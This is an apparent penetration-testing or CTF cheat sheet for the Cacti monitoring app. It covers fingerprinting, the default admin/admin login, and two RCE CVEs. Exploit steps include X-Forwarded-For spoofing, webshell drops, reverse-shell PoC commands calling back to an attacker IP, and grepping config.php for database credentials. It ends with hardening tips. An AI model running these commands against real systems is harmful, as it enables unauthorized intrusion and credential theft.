Service bank
MONITORING 80/tcp

Cacti

PHP network-graphing app on 80. A long history of severe bugs: unauthenticated command injection (CVE-2022-46169) and authenticated graph-based RCE (CVE-2025-24367). The config holds the DB creds.

Ports

PortProtoNotes
80tcpCacti web UI (often /cacti)

Fingerprint

  • Login page shows 'Version 1.2.x', 'Cacti' branding
  • Path /cacti/ or a cacti.* vhost

Key files

PathHoldsSensitive
include/config.php MySQL database name, user and password sensitive

Default / weak creds

  • admin / admin default on fresh installs

Known CVEs

CVEImpact
CVE-2022-46169Unauthenticated command injection via remote_agent.php
CVE-2025-24367Authenticated RCE — writes arbitrary PHP via the graph-creation feature

Exploitation primitives

  • CVE-2022-46169: spoof X-Forwarded-For to a host in the poller, inject into the 'action=polldata' parameter for unauth RCE
  • CVE-2025-24367: as any logged-in user, abuse graph creation to drop a PHP webshell in the web root
  • Read include/config.php for the MySQL creds, then dig the user_auth table for hashes

Overview

Cacti is a PHP graphing front-end for RRDtool on 80. Always read the version on the login page — it maps straight to a known RCE.

Unauthenticated RCE (CVE-2022-46169)

Inject through remote_agent.php (needs a valid poller hostname in X-Forwarded-For):

python3 CVE-2022-46169.py -u http://<TARGET>/cacti --LHOST=<YOUR_IP> --LPORT=4444

Authenticated RCE (CVE-2025-24367)

With any low-priv login, the public PoC writes a PHP shell via graph creation:

python3 exploitcacti.py -u marcus -p wonderful1 -i <YOUR_IP> -l 4444 -url http://<TARGET>

Loot the DB creds

cat include/config.php | grep database_

Hardening

Patch to the latest 1.2.x, change admin/admin, restrict who can create graphs/templates, and lock down remote_agent.php to known pollers.

References